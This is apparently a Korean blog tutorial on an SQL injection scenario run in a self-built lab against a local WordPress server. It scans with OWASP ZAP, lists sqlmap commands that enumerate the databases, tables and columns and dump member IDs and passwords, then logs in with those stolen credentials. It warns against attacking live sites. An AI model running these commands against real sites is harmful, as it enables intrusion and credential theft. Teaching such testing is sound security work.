안녕하세요 빵끗입니다.
오늘은 sql injection 해킹 시나리오를 만들어 볼게요
해킹 시나리오를 만들 때에는 아래와 같이 주의사항이 있어요
1) 해킹은 실제 사용 중인 사이트를 공격하게 되면 법적인 문제가 발생될 수 있어요. 때문에 테스트를 진행할 경우 테스트 환경을 구성해야 돼요.
2) 취약점 스캔 툴을 돌릴 경우 의미 없는 데이터 값이 db에 등록될 수 있어요.
이제 주의사항까지 알아봤다면 해킹 시나리오 시작해 볼까요?
첫 번째 sql injection 공격하기 위해서는 테스트용 웹 서버 및 공격용 서버를 구축해야 돼요.
ㄴ 작성자는 이미 만들어 놓은 테스트용 웹 서버가 있어요
ㄴ 웹 테스트 서버 OS: 우분투 22.04
ㄴ 웹 서버 : nginx1.80/ mariadb 15.2 / php 8.1
ㄴ 웹 보드 : wordpress
ㄴ 공격자 테스트 서버 OS : 칼리
두 번째 OWASP-ZAP tools 이용하여 취약점 스캔해요
ㄴautomated scan 화면에서 스캔 대상인 웹 주소를 입력 후 공격을 누르면 스캔하는데 시간이 조금 걸려요.
ㄴ스캔이 완료되면 깃발 모양이 있는 탭을 누르게 될 경우 어떠한 취약점이 발생되었는지 알 수 있어요.
ㄴ 관리자 웹 테스트 서버에는 sql injection 취약점이 발견되었어요.
![]() |
![]() |
URL to attack : 공격할 사이트 주소 입력해요 |
Attack : Attack를 누르면 해당 사이트에 취약점이 있는지 자동으로 스캔 해요 |
Alerts : 자동으로 취약점을 스캔 하였다면 결과 값을 확인 할 수 있어요 |
세 번째 OWASP-ZAP tools를 이용해서 취약점을 확인했다면 공격 서버로 와서 웹 서버의 DB 정보를 획득해볼게요
ㄴ kail linux sqlmap tools 이용하여 DB 정보 획득해 볼게요
ㄴ DB 정보를 확인하는 명령어 : sqlmap –u "http://192.168.0.136/test2/login/insert.php" --method POST --data "id=1" --dbs
![]() |
ㄴ DB 테이블 정보를 확인 하는 명령어 : sqlmap -u "http://192.168.0.136/test2/login/insert.php" --method POST --data "id=1" -D classic_basic --tables
![]() |
ㄴ DB 회원 정보를 확인하는 명령어 :
sqlmap -u "http://192.168.0.136/test2/login/insert.php" --method POST --data "id=1" -D classic_basic -T member --columns
![]() |
네 번째 웹 서버에서 회원 정보를 dump 하여 csv 파일로 만든 다음 외부로 유출 시도를 해볼게요
ㄴ 관리자는 회원 정보 중에서 id, password의 정보만 dump 할게요
ㄴ 명령어: sqlmap -u "http://192.168.0.136/test2/login/insert.php" --method POST --data "id=1" -D classic_basic -T member -C "id, pass"id,pass –-dump
ㄴ ftp 응용 프로그램을 연결하여 dump 한 파일을 다운로드할 께요
![]() |
다섯 번째 다운로드한 csv 파일을 열어서 회원정보가 들어있는지 확인해 볼게요
ㄴ 다운로드한 csv 파일을 열어서 관리자가 원했던 id, password 정보가 들어 있는지 확인해 볼게요.
![]() |
여섯 번째 웹 사이트로 가서 탈취한 회원정보를 가지고 로그인 시도를 해볼게요.
ㄴ 탈취한 회원 정보를 가지고 사이트 로그인 시도를 해볼게요.
![]() |
일곱전째 정상적으로 로그인되는 것을 확인을 해요
ㄴ 로그인 성공!!!
댓글